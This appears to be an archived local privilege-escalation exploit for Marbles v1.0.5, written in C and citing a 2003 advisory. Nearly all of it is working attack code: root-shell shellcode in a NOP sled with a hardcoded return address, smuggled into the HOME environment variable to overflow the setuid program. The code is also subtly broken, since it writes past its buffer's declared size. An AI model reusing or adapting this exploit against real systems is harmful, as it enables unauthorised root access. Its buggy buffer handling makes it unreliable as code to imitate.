74 lines
No EOL
2.5 KiB
C
74 lines
No EOL
2.5 KiB
C
// source: https://www.securityfocus.com/bid/8710/info
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A problem in the handling of data in the Home environment variable has been reported in the marbles program. This may make it possible for a local attacker to gain elevated privileges.
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/* c-marbles.c
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*
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* PoC exploit made for advisory based uppon an local stack based overflow.
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* Vulnerable versions, maybe also prior versions:
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*
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* Marbles v1.0.5
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*
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* Tested on: Redhat 9.0
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*
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* Advisory source: Steve Kemp
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* http://www.debian.org/security/2003/dsa-390
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*
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* ---------------------------------------------
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* coded by: demz (c-code.net) (demz@c-code.net)
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* ---------------------------------------------
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*
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*/
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#include <stdio.h>
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#include <stdlib.h>
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char shellcode[]=
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"\x31\xc0" // xor eax, eax
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"\x31\xdb" // xor ebx, ebx
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"\x31\xc9" // xor ecx, ecx
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"\xb0\x46" // mov al, 70
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"\xcd\x80" // int 0x80
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"\x31\xc0" // xor eax, eax
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"\x50" // push eax
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"\x68\x6e\x2f\x73\x68" // push long 0x68732f6e
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"\x68\x2f\x2f\x62\x69" // push long 0x69622f2f
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"\x89\xe3" // mov ebx, esp
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"\x50" // push eax
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"\x53" // push ebx
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"\x89\xe1" // mov ecx, esp
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"\x99" // cdq
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"\xb0\x0b" // mov al, 11
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"\xcd\x80" // int 0x80
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"\x31\xc0" // xor eax, eax
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"\xb0\x01" // mov al, 1
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"\xcd\x80"; // int 0x80
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int main()
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{
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unsigned long ret = 0xbffff70c;
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char buffer[3988];
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int i=0;
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memset(buffer, 0x90, sizeof(buffer));
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for (0; i < strlen(shellcode) - 1;i++)
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buffer[2000 + i] = shellcode[i];
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buffer[3988] = (ret & 0x000000ff);
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buffer[3989] = (ret & 0x0000ff00) >> 8;
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buffer[3990] = (ret & 0x00ff0000) >> 16;
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buffer[3991] = (ret & 0xff000000) >> 24;
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buffer[3992] = 0x0;
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printf("\nMarbles v1.0.5 local exploit\n");
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printf("---------------------------------------- demz @ c-code.net --\n");
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setenv("HOME", buffer, 1);
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execl("/usr/local/bin/marbles", "marbles", NULL);
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} |